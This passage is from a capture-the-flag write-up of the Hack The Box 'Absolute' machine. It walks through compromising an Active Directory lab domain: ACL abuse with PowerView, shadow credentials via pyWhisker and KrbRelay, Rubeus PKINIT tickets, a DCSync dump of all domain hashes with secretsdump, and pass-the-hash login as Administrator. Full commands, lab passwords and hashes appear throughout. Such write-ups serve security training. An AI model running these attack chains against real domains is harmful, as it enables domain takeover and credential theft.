  • Disables NTLM authentication
  • Reduces Kerberos ticket lifetime (explains why our tickets were only valid for 4 hours with klist)
  • Mandates strong encryption algorithms, such as AES
  • Prevents password caching on workstations
  • Prevents any type of Kerberos delegation

I thought not adding Administrator to the Protected Users group was a really nice touch, as Microsoft recommended not to add all highly privileged accounts to this group (exclude the break glass account) in case these protections end up locking all your privileged accounts out (Reference: here). I’ve seen this in the real world so I thought it made the box very realistic 🙂

Fourth user

Analysing the bloodhound path

In bloodhound, after marking our latest owned user m.lovegod as owned, we can see an interesting attack path. M.lovegod owns the Network Audit group, which has GenericWrite to the winrm_user that is a member of the Remote Management Users group meaning they have permission to remotely login via WinRM - finally we can see a way to get a shell on the box! image-13.png

Converting Owns into GenericWrite

Although m.lovegod ‘owns’ the Network Audit group, this doesn’t mean we are a member of the group yet. As we ‘own’ the group, we can modify all object security descriptors, meaning we can grant ourselves any privilege over the group (GenericAll) - therefore giving m.lovegod permission to make themselves a member of this group.

To do this first we need to authenticate to the DC as m.lovegod@absolute.htb by creating a PSCredential object.

1
2
PS C:\Users\jack> $SecPassword = ConvertTo-SecureString "AbsoluteLDAP2022!" -AsPlainText -Force 
PS C:\Users\jack> $Cred = New-Object System.Management.Automation.PSCredential("absolute.htb\m.lovegod", $SecPassword)

Then to convert our ‘owns’ right to GenericAll we can use PowerView’s Add-DomainObjectAcl, specifying $Cred as being remotely attacking on our Windows VM we are not running a process as m.lovegod@absolute.htb. The docs for this can be found here.

1
2
PS C:\Users\jack> . .\PowerView.ps1
PS C:\Users\jack> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Network Audit" -Rights All -DomainController absolute.htb -PrincipalIdentity m.lovegod -Verbose

To get this to work I had point my attacking Windows VM’s IPv4 adapter settings to the DNS address of absolute.htb like shown here and it worked. Note to self, -Verbose is brilliant for troubleshooting! image-41.png

We should now have converted our Owns privilege to GenericAll permission over the Network Audit group therefore will be able to add ourselves into it.

Becoming a member of the Network Audit group

Bloodhound suggests we can now add ourselves to the Network Audit group using PowerView’s Add-DomainGroupMember. However, this wont work for us remotely as we aren’t domain joined and can’t specify to point to the DC using this PowerView command. An alternative is to use Add-ADPrincipalGroupMembership from the Active Directory PowerShell module within RSAT. To use this we first need to import the Active Directory PowerShell module from here.

1
2
PS C:\Users\jack> Import-Module .\Microsoft.ActiveDirectory.Management.dll 
PS C:\Users\jack> Add-ADPrincipalGroupMembership -Credential $Cred -Identity m.lovegod -MemberOf 'Network Audit' -Server dc.absolute.htb -Verbose

We get a generic error as our machine is not domain joined, however the command executed successfully. If we wanted to do it remotely on Kali I believe impacket’s dacledit.py would also work. image-42.png

We can check it was successful by checking the groups m.lovegod is a member of using PowerView:

1
PS C:\Users\jack> Get-NetGroup -username m.lovegod -Credential $Cred -Server absolute.htb

And we see m.lovegod has now been made a member of the Network Audit group! image-43.png

In bloodhound the attack path now looks like this:

image-15.png

Now as part of the Network Audit group we can abuse the GenericWrite to winrm_user. Generic Write access grants the ability to write to any non-protected attribute on the target object, including “serviceprincipalnames” for a user. An opsec way would be to perform a targeted kerberoast attack by adding an SPN to m.lovegod, however this might not be successful if this user is practising good password hygiene and we are unable to crack the hash from kerberoasting.

Adding Shadow Credentials

A much better way for us to abuse this GenericWrite permission is to perform a Shadow Credentials attack. This blog outlines that if we have GenericWrite over an object we inherit read and more importantly, WRITE rights over the msDS-KeyCredentialLink attribute of the object enabling us to perform a Shadow Credentials attack if a PKI solution is in place such as Active Directory Certificate Services. We can check if this is installed in the domain using certipy.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb      
Certipy v4.3.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'absolute-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'absolute-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'absolute-DC-CA' via RRP
[*] Got CA configuration for 'absolute-DC-CA'

We see ADCS is installed with a CA named absolute-DC-CA! image-52.png

Whilst this attack is covered extensively by specterops in this blog, the TLDR is it’s possible to add “Key Credentials” to the msDS-KeyCredentialLink attribute of a user/computer object and then perform Kerberos authentication to obtain a TGT for that account using PKINIT (public key approach to Kerberos pre-authentication). This means without even knowing the user’s password or hash, we can add a sneaky backdoor to that user account and obtain a TGT through PKINIT for that user. I like to think of Shadow Credentials as having a spare key to your house - another way in that only a few people know about!

With a valid TGT for winrm_user, as they are a member of the Remote Management Users group this would enable us to login to the DC via WinRM as them. The first blog explains we can perform the Shadow Credentials attack from a non-domain joined Kali machine using pyWhisker.

So lets abuse the GenericWrite privilege of m.lovegod to write to the msDS-KeyCredentialLink of winrm_user by adding a key-pair using pyWhisker, still using our valid TGT of m.lovegod:

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ git clone https://github.com/shutdownrepo/pywhisker; cd pywhisker

┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhisker] 
└─$ python3 pywhisker.py -d "absolute.htb" -k -u "m.lovegod" --target "winrm_user" --action "add" --dc-ip "10.10.11.181"

image-16.png

We can see the command completed successfully, updating the ms-Ds-KeyCredentialLink with our key-pair and saved the .pfx certificate to be used in PKINIT auth. To verify this, if we run PowerView on our Windows VM to check the properties of the winrm_user we see the msDS-KeyCredentialLink attribute is now set.

1
PS C:\Users\jack> Get-NetUser winrm_user -Credential $Cred -Server absolute.htb

image-44.png

The output from PyWhisker tells us we can then obtain a TGT for winrm_user with PKINIT auth using the saved .pfx certificate and https://github.com/dirkjanm/PKINITtools.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ git clone https://github.com/dirkjanm/PKINITtools; cd PKINITtools

┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools] 
└─$ python3 gettgtpkinit.py absolute.htb/winrm_user -cert-pfx ../pywhisker/E7hXBx8C.pfx -pfx-pass CdnFSwlQB9PSCKJHTvst out.ccache

image-17.png

We see this was successful and we now have a TGT saved in an out.ccache file!

With the TGT and AS-REP encryption key (printed by gettgtpkinit.py), if we wanted to go a step further and obtain the NTLM hash of winrm_user for persistence (as our TGT will expire after 4 hours) we could to this via unpac-the-hash:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]
└─$ python3 getnthash.py -key 16ff3e6f6d50565e0d33f27596a7749a82ff500aac99276359bfe63548eb0311 'absolute.htb/winrm_user'          
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
8738c7413a5da3bc1d083efc0ab06cb2

This reveals the NTLM hash for the winrm_user is 8738c7413a5da3bc1d083efc0ab06cb2!

Logging in via WinRM

To use our TGT as winrm_user with WinRM we need to modify our /etc/krb5.conf file to point to the KDC just like the example here.

1
2
3
4
5
6
7
8
9
10
11
[libdefaults] 
  default_realm = ABSOLUTE.HTB 
  dns_canonicalize_hostname = false 
[realms] 
  ABSOLUTE.HTB = { 
    kdc = absolute.htb:88 
    admin_server = dc.absolute.htb:464     
} 
[domain_realm] 
  .absolute.htb = ABSOLUTE.HTB 
  absolute.htb = ABSOLUTE.HTB

“The /etc/krb5.conf file contains Kerberos configuration information, including the locations of KDCs and administration daemons for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of host names onto Kerberos realms.”

We can save the out.ccache produced from PKINITtools containing our TGT to the KRBCCNAME environment variable.

1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ export KRB5CCNAME=out.ccache

Then we can search how to connect to WinRM with Kerberos, for which we need to specify the realm with -r for Kerberos authentication.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ evil-winrm | grep "\-r" 
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l] 
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }

And we can finally login and grab user.txt!

1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ evil-winrm -i dc.absolute.htb -r absolute.htb

image-18.png

Privesc

Figuring out how to escalate

With a foothold on the domain controller, if we escalate privileges locally we will have owned the entire absolute.htb domain. However, this is where I got stuck for a long while and resorted to enumerating common privesc avenues such as ADCS vulnerabilites like ESC1 using Certify. image-48.png

As expected, this domain’s PKI was fully hardened against these. Nevertheless, if we remember back to our previous analysis with Wireshark we learnt that neither LDAP over SSL (LDAPS) or LDAP signing is enforced:

  • LDAP signing is not enforced within the domain as if LDAP signing was enforced binds over a non-SSL/TLS connection stop working (ref here).
  • Our non-SSL LDAP bind with test.exe was successful showing LDAP signing is not enforced and we intercepted credentials in clear text (unencrypted format), confirming LDAPS is not enforced either.
  • We also know this box focuses heavily around Kerberos exploitation.

With these things in mind after doing a lot of googling I discovered this tool. KrbRelayUp is a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings) by relaying Kerberos authentication to local SYSTEM on any machine. Sound like our environment yet?

The initial attack method uses KrbRelay to exploit Resource-Based Constrained Delegation (RBCD), however checking the ms-ds-machineaccountquota we see it is set to 0, meaning we don’t have permission to add computers to the domain making this exploitation method unfeasible.

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\winrm_user> Get-DomainObject -Identity "dc=absolute,dc=htb" -Domain absolute.htb -Properties ms-ds-machineaccountquota

ms-ds-machineaccountquota

-------------------------
                        0

The ms-ds-machineaccountquota is normally set to 10 and demonstrates another realistic hardening measure applied to this domain, following official recommendations from Microsoft as how to mitigate attacks like RBCD and KrbRelay!

Despite this, an update on the github provides us with the following guide that outlines the attack can be carried out in a different way by abusing Shadow Credentials, very similar to how we compromised winrm_user. The following pre-requisites are necessary for this attack method, of which we meet all of them:

  1. Domain Controller without LDAP Signing enforced (default) - yes, as previously shown with Wireshark.
  2. Domain Controller with its own server authentication certificate (for PKINIT authentication) - yes, the CA absolute-DC-CA supports PKINIT authentication.
  3. Ability to write the msDs-KeyCredentialLink attribute of the target computer account (default) - yes, by default KrbRelay can coerce a relay internally for the DC$ machine account who has permission to edit its own ms-DS-KeyCredentialLink attribute.
  4. Not have the Oct 2022 Windows patches applied - the box was released in Sep 22 so is definitely not patched with the Oct 22 KrbRelay patch!

This attack method also bypasses the Protected Users group as we exploit the DC$ account, which cannot be added to this group. So even though all the users are ‘protected’ are they really?

Explaining the Kerberos relaying attack

At the time of writing this there’s not really much on Google about how this complex attack works at an understandable level, so I’ll try my best to explain:

KrbRelay works by coercing a Kerberos authentication relay internally from the Machine account (DC$) to LDAP and then using this authentication relay to add Shadow Credentials to the DC$ account. But how exactly does this authentication relay allow us to add Shadow Credentials?

If we remember back to how we explained Shadow Credentials work, to add these we need to have the GenericWrite permission to edit a user’s or computer’s msDS-KeyCredentialLink attribute. We already enumerated all the ACLs with bloodhound and nothing was present that would allow us to edit the DC$ credential link, so how do we add these to the DC$ with KrbRelay?

As outlined here, unlike user objects computer objects can by default edit their own ms-Ds-KeyCredentialLink attribute and therefore add their own ShadowCreds. Consequently, by relaying the DC$ auth internally with KrbRelay, we can trick the DC into adding its own backdoor through adding Shadow Credentials to itself! And why do we care if can do this? If we set Shadow Credentials on the DC like this, we can request a TGT for the DC$ account via PKINIT just like we did earlier with winrm_user. Equipped with the DC$ TGT we can simulate the replication behaviour of domain controller data by performing a DCSync to extract all the user password hashes in the domain - a pretty neat attack right?

image-51.png (Excuse the horrible picture I am not good at art lol)

Compiling KrbRelay.exe

The guide exploiting KrbRelay with Shadow Credentials uses this version of KrbRelay from cube0x0. Lets compile it from the github using Visual Studio by cloning the repository and building the KrbRelayUp.sln solution file. image-20.png

We see some warnings but it builds successfully! image-21.png

We then can transfer KrbRelay.exe as well as Rubeus (needed later to request the Machine Account DC$ ticket via PKINIT after adding Shadow Creds) and RunasCS onto the box (to create an interactive session):

1
2
3
*Evil-WinRM* PS C:\windows\tasks> upload /home/kali/Desktop/KrbRelay.exe
*Evil-WinRM* PS C:\windows\tasks> upload /home/kali/Downloads/Rubeus.exe
*Evil-WinRM* PS C:\windows\tasks> upload /home/kali/Downloads/RunasCs_net4.exe

image-22.png

Adding a Shadow Credential using KrbRelay

When following the guide on the github there is one major difference we have to account for. The guide executes KrbRelay in an interactive session (i.e. through RDP GUI). However we are in a WinRM shell. WinRM runs from session 0 meaning our process runs in a completely separate space from interactive sessions where user credentials are stored in memory, and for this reason causes KrbRelay to not work. A way round this is to use RunasCS which bypasses this limitation and creates a false interactive session with the credentials we provide it, allowing KrbRelay to work!

We can use RunasCS to run KrbRelay interactively coercing DC$ authentication to LDAP to add a shadow credential to itself. RunasCS creates this false interactive session by specifying any domain username and password to run the KrbRelay process interactively, using the default CLSID from the guide. I elected for the credentials for m.lovegod.

It actually transpires that as long as we specify a valid username with RunasCS, we can use totally invalid credentials - e.g. krbtgt user with "sdaksjd" as the password. This works because RunasCS will attempt to create a network-only logon with CreateProcessWithLogonW. As outlined in the documentation, credentials for network-only logons are not actually validated, meaning we are allowed to use any junk password to create the interactive session. These will not be validated by the system and remember it is the coercion of DC$ that is relayed, not the user creating the KrbRelay process credentials.

1
2
*Evil-WinRM* PS C:\windows\tasks> .\RunasCs_net4.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb "c:\windows\tasks\krbrelay.exe -spn ldap/dc.absolute.htb -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred" 
[-] RunasCsException: CreateProcessWithLogonW failed with 1385

Executing the first step we get error message about the CreateProcessWithLogonW failing. image-30.png

Googling the error we see the logon type we tried has not been granted to our user. By default RunasCS tries Logon Type 2 (interactive). image-28.png

We can try and find other logon types with another quick google search: image-29.png

Lets try Logon Type 9 by specifying -l 9 which is like running runas /netonly - authenticating on the network with m.lovegod credentials specified (although not actually verified). This produces a different error relating to a COMException. This time it looks like our CLSID we specified caused the error. image-23.png

The CLSID is a globally unique identifier that identifies a COM class object. We need to explicitly specify this to ensure the correct COM object is used to handle the Kerberos request to relay the DC$ auth. To find the right CLSID we can refer here to a list of example CLSIDs of local services. Working my way down the list, I found that first TrustedInstaller CLSID 8F5DF053-3013-4dd8-B5F4-88214E81C0CF worked (for NT AUTHORITY\SYSTEM). This SYSTEM COM object will handle the Kerberos TGT for the SYSTEM machine account which is DC$ and works because this is the auth we want to relay!

1
.\RunasCs_net4.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 "c:\windows\tasks\krbrelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -shadowcred"

image-31.png

With the right CLSID we can see Kerberos authentication was relayed to LDAP successfully and Shadow Credentials were added to the DC$, returning our certificate to use with our added key-pair and even providing us the exact Rubeus command to obtain the DC$ TGT in the next step!

To prove our initial point about KrbRelay only working with RunasCS, attempting the same command without it fails due to the ‘non-interactive’ session.

image-47.png

Requesting a Machine Account Ticket via PKINIT

Once we have a certificate for our Shadow Credential, we can use it with Rubeus to request a Kerberos ticket (asktgt) for the DC$ machine account by passing the certificate via PKINIT and displaying it back to us with /show.

1
.\Rubeus.exe asktgt /user:DC$ /certificate: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 /password:"551ccc6b-3c13-4536-9f44-7ba2f723cd0d" /getcredentials /show

image-32.png

We can take this base64 ticket.kirbi contining the DC$ credentials, remove whitespace, base64 decode and place in a admin.kirbi file so we can use the TGT on our kali machine:

1
echo "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" | base64 -d > admin.kirbi

image-25.png

We can then convert the kerberos ticket that have the .kirbi extension to .ccache for use with impacket and then set the KRB5CCNAME environmental variable to the location of the .ccache ticket in order to use the ticket from cache during Kerberos authentication.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ impacket-ticketConverter ./admin.kirbi admin.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ export KRB5CCNAME=./admin.ccache

image-24.png

Performing a DCSync

By default domain controllers replicate their data between each other, meaning as we have a TGT for the DC DC$ we can simulate this replication using secretsdump to DCSync with the DC$ hash and extract all the user password hashes from the NTDS.DIT in the domain!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ impacket-secretsdump -k -no-pass dc.absolute.htb -dc-ip 10.10.11.181            
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation 
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[*] Using the DRSUAPI method to get NTDS.DIT secrets 
Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea::: 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4::: 
J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a::: 
M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184::: 
D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab::: 
s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee::: 
j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f::: 
n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d::: 
m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d::: 
l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba::: 
c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4::: 
s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c::: 
d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40::: 
svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167::: 
svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103::: 
winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2::: 
DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577::: 
[*] Cleaning up...

image-26.png

We now have the NTLM hash for the Administrator user: 1f4a6093623653f6488d5aa24c75f2ea

If we remember back to before we found that the Administrator user was the only non-default member not actually in the Protected Users group, meaning NTLM is not disabled for this user! Therefore instead of requesting a TGT we could skip this step and simply pass the NTLM hash to connect via WinRM.

1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute] 
└─$ evil-winrm -i dc.absolute.htb -u Administrator -H 1f4a6093623653f6488d5aa24c75f2ea

image-45.png

